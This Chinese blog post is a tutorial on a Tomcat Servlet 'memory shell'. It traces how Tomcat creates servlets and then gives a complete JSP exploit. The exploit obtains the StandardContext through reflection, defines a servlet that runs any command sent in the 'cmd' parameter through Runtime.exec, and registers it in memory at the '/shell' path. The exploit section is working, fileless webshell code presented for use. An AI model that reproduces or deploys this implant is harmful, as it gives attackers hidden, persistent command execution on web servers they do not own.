JAVA内存马之Servlet马

0x01前置知识

我们知道的Tomcat创建Servlet的过程分为五部

  1. 加载:当Tomcat第一次访问Servlet的时候,Tomcat会负责创建Servlet的实例
  2. 初始化:当Servlet被实例化后,Tomcat会调用init()方法初始化这个对象
  3. 处理服务:当浏览器访问Servlet的时候,Servlet 会调用service()方法处理请求
  4. 销毁:当Tomcat关闭时或者检测到Servlet要从Tomcat删除的时候会自动调用destroy()方法,让该实例释放掉所占的资源。一个Servlet如果长时间不被使用的话,也会被Tomcat自动销毁
  5. 卸载:当Servlet调用完destroy()方法后,等待垃圾回收。如果有需要再次使用这个Servlet,会重新调用init()方法进行初始化操作

所以我们的内存马要写到service这个地方才方便我们调用,有了前面两个内存马的学习,servlet内存马跟两个内存马也大同小异,所以这里我们就大概的看一下一些重要的不同的地方

0x02创建过程分析

在Tomcat的机制中我们知道三件套加载的顺序是Listener-----filter-----servlet这样的加载机制,确定一下吧,把断点打在init这个点

image-20221231124508323

从service进来会看到有很多Filter的处理

还是去从init去调试

image-20221231131735411

跟进来第一步就看到了以前很熟悉的东西standardWrapper这个东西我们前面看到的StandardContext,然后后面流程很长还是去更了一些Filter的流程

我们直接去StandardContext里面去看一下关于Servlet的创建吧不去看中间的流程了

image-20221231134048479

最终通过ContextConfig#webConfig()方法解析web.xml获取各种配置参数

然后通过configureContext(webXml)方法创建StandWrapper对象,并根据解析参数初始化StandWrapper对象

最后通过addServletMappingDecoded()方法添加Servlet对应的url映射 private void configureContext(WebXml webxml) {
        // As far as possible, process in alphabetical order so it is easy to
        // check everything is present
        // Some validation depends on correct public ID
        context.setPublicId(webxml.getPublicId());
 
...   //设置StandardContext参数
 
        
        for (ServletDef servlet : webxml.getServlets().values()) {
 
            //创建StandardWrapper对象
            Wrapper wrapper = context.createWrapper();
 
            if (servlet.getLoadOnStartup() != null) {
 
                //设置LoadOnStartup属性
                wrapper.setLoadOnStartup(servlet.getLoadOnStartup().intValue());
            }
            if (servlet.getEnabled() != null) {
                wrapper.setEnabled(servlet.getEnabled().booleanValue());
            }
 
            //设置ServletName属性
            wrapper.setName(servlet.getServletName());
            Map<String,String> params = servlet.getParameterMap();
            for (Entry<String, String> entry : params.entrySet()) {
                wrapper.addInitParameter(entry.getKey(), entry.getValue());
            }
            wrapper.setRunAs(servlet.getRunAs());
            Set<SecurityRoleRef> roleRefs = servlet.getSecurityRoleRefs();
            for (SecurityRoleRef roleRef : roleRefs) {
                wrapper.addSecurityReference(
                        roleRef.getName(), roleRef.getLink());
            }
 
            //设置ServletClass属性
            wrapper.setServletClass(servlet.getServletClass());
            ...
            wrapper.setOverridable(servlet.isOverridable());
 
            //将包装好的StandWrapper添加进ContainerBase的children属性中
            context.addChild(wrapper);
 
           for (Entry<String, String> entry :
                webxml.getServletMappings().entrySet()) {
          
            //添加路径映射
            context.addServletMappingDecoded(entry.getKey(), entry.getValue());
        }
        }
        ...
    }

最后通过addServletMappingDecoded()方法添加Servlet对应的url映射

然后依次加载完Listener、Filter后,就通过loadOnStartUp()方法加载wrapper

    public boolean loadOnStartup(Container children[]) {
 
        // Collect "load on startup" servlets that need to be initialized
        TreeMap<Integer, ArrayList<Wrapper>> map = new TreeMap<>();
        for (Container child : children) {
            Wrapper wrapper = (Wrapper) child;
            int loadOnStartup = wrapper.getLoadOnStartup();
 
            //判断属性loadOnStartup的值
            if (loadOnStartup < 0) {
                continue;
            }
            Integer key = Integer.valueOf(loadOnStartup);
            ArrayList<Wrapper> list = map.get(key);
            if (list == null) {
                list = new ArrayList<>();
                map.put(key, list);
            }
            list.add(wrapper);
        }
 
        // Load the collected "load on startup" servlets
        for (ArrayList<Wrapper> list : map.values()) {
            for (Wrapper wrapper : list) {
                try {
                    wrapper.load();
                }

中间有些的流程有些多我自己也是大概的去理解了一下流程,可能有不对的地方我就不写出来了哈哈哈哈

但是我们总共Servlet内存马创建的流程代码大概是这样

  1. 获取StandardContext对象
  2. 编写恶意Servlet
  3. 通过StandardContext.createWrapper()创建StandardWrapper对象
  4. 设置StandardWrapper对象的loadOnStartup属性值
  5. 设置StandardWrapper对象的ServletName属性值
  6. 设置StandardWrapper对象的ServletClass属性值
  7. StandardWrapper对象添加进StandardContext对象的children属性中
  8. 通过StandardContext.addServletMappingDecoded()添加对应的路径映射

这里的刚刚没提的loadOnStartup对象有一个判断点吧

//判断属性loadOnStartup的值
            if (loadOnStartup < 0) {
                continue;
            }

有师傅说这是因为tomcat的懒加载机制:这里对应的实际上就是Tomcat Servlet的懒加载机制,可以通过loadOnStartup属性值来设置每个Servlet的启动顺序。默认值为-1,此时只有当Servlet被调用时才加载到内存中。

0x03EXP编写

循环获取StandardContext

<%
    //循环获取StandContext
    ServletContext servletContext = request.getServletContext();
    StandardContext o = null;
    while (o == null) {
        Field field = servletContext.getClass().getDeclaredField("context");
        field.setAccessible(true);
        Object o1 = field.get(servletContext);

        if (o1 instanceof ServletContext) {
            servletContext = (ServletContext) o1;
        } else if (o1 instanceof StandardContext) {
            o = (StandardContext) o1;
        }
    }

%

编写一个Servlet

<%!

    public class Shell_Servlet implements Servlet {
        @Override
        public void init(ServletConfig config) throws ServletException {
        }
        @Override
        public ServletConfig getServletConfig() {
            return null;
        }
        @Override
        public void service(ServletRequest req, ServletResponse res) throws ServletException, IOException {
            String cmd = req.getParameter("cmd");
            if (cmd !=null){
                try{
                    Runtime.getRuntime().exec(cmd);
                }catch (IOException e){
                    e.printStackTrace();
                }catch (NullPointerException n){
                    n.printStackTrace();
                }
            }
        }
        @Override
        public String getServletInfo() {
            return null;
        }
        @Override
        public void destroy() {
        }
    }

%>

创建Wrapper对象

<%
    Shell_Servlet shell_servlet = new Shell_Servlet();
    String name = shell_servlet.getClass().getSimpleName();

    Wrapper wrapper = o.createWrapper();
    wrapper.setLoadOnStartup(1);
    wrapper.setName(name);
    wrapper.setServlet(shell_servlet);
    wrapper.setServletClass(shell_servlet.getClass().getName());
%>

将Wrapper添加进StandardContext

<%
    o.addChild(wrapper);
    o.addServletMappingDecoded("/shell",name);
%>

组合起来就是一个完整的jsp了

0x04小结

Servlet内存马呢很有缺陷必须要访问对应的URL才能触发,成成功触发命令、

image-20221231191401732

posted @ 2022-12-31 19:16  不成大哥不改名  阅读(247)  评论(0编辑  收藏  举报